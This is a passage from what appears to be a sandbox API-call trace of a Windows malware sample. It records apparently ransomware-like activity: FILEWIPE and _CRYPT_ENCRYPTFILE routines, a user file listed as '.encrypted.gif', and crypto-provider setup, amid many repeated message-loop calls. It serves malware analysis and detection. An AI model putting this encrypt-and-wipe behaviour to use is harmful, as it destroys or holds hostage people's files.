hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0022.759] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.759] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.759] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.760] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.760] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.762] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.762] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0022.762] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.762] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.762] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.762] CharLowerBuffW (in: lpsz="byte[54019]", cchLength=0xb | out: lpsz="byte[54019]") returned 0xb [0022.764] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.764] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0022.764] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.764] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0022.764] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.764] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.764] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.764] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0022.764] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.764] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.764] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.764] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.764] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.764] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.764] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.764] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.764] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.764] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.764] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.764] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.764] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.764] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.764] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.765] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.765] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0022.765] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.765] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.765] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.765] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0022.765] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.765] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.765] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.765] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.765] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.765] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.765] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0022.765] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.765] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.765] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.765] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.765] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.766] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.766] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.766] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0022.766] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.766] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.766] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.766] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.766] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.767] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0022.767] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=1243) returned 1 [0022.767] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.767] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0022.767] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0022.767] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x4db, lpOverlapped=0x0) returned 1 [0022.767] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0022.767] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x4db, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.767] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=1243) returned 1 [0022.767] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\xkRc6.encrypted.gif\r\n", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0022.767] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\xkRc6.encrypted.gif\r\n", cchWideChar=65, lpMultiByteStr=0xe8f4051b30, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\fMgVztMzKdkWm\\xkRc6.encrypted.gif\r\n", lpUsedDefaultChar=0x0) returned 65 [0022.767] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f406a3d0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f406a3d0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x40, lpOverlapped=0x0) returned 1 [0022.767] CloseHandle (hObject=0x1fc) returned 1 [0022.769] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.769] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.769] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.770] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.770] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.770] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0022.770] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.770] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0022.771] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0022.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0022.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178840, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0022.771] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0022.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0022.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178840, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0022.771] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0022.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\FrZbOJgkVA5C6MyJ.mp4", cchWideChar=50, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0022.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\FrZbOJgkVA5C6MyJ.mp4", cchWideChar=50, lpMultiByteStr=0xe8f404ba10, cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\FrZbOJgkVA5C6MyJ.mp4", lpUsedDefaultChar=0x0) returned 50 [0022.772] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\FrZbOJgkVA5C6MyJ.mp4" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\frzbojgkva5c6myj.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0022.773] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=50, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 50 [0022.773] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=50, lpWideCharStr=0xe8f4062330, cchWideChar=50 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\FrZbOJgkVA5C6MyJ.mp4") returned 50 [0022.773] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0022.774] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.774] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.774] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0022.774] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0022.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0022.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178800, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0022.774] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0022.774] CloseHandle (hObject=0x1fc) returned 1 [0022.774] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0022.775] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.775] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.775] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0022.775] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.775] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0022.775] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0022.775] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.775] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.775] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.775] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.775] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.775] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.775] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0022.775] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0022.775] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.775] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.775] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.775] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.775] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.775] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.775] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.775] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.776] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.776] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.776] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0022.776] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.776] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.776] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.776] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0022.776] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.776] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.776] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.776] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.776] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.776] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0022.776] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.776] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633e0) returned 1 [0022.776] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.776] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.776] CharUpperBuffW (in: 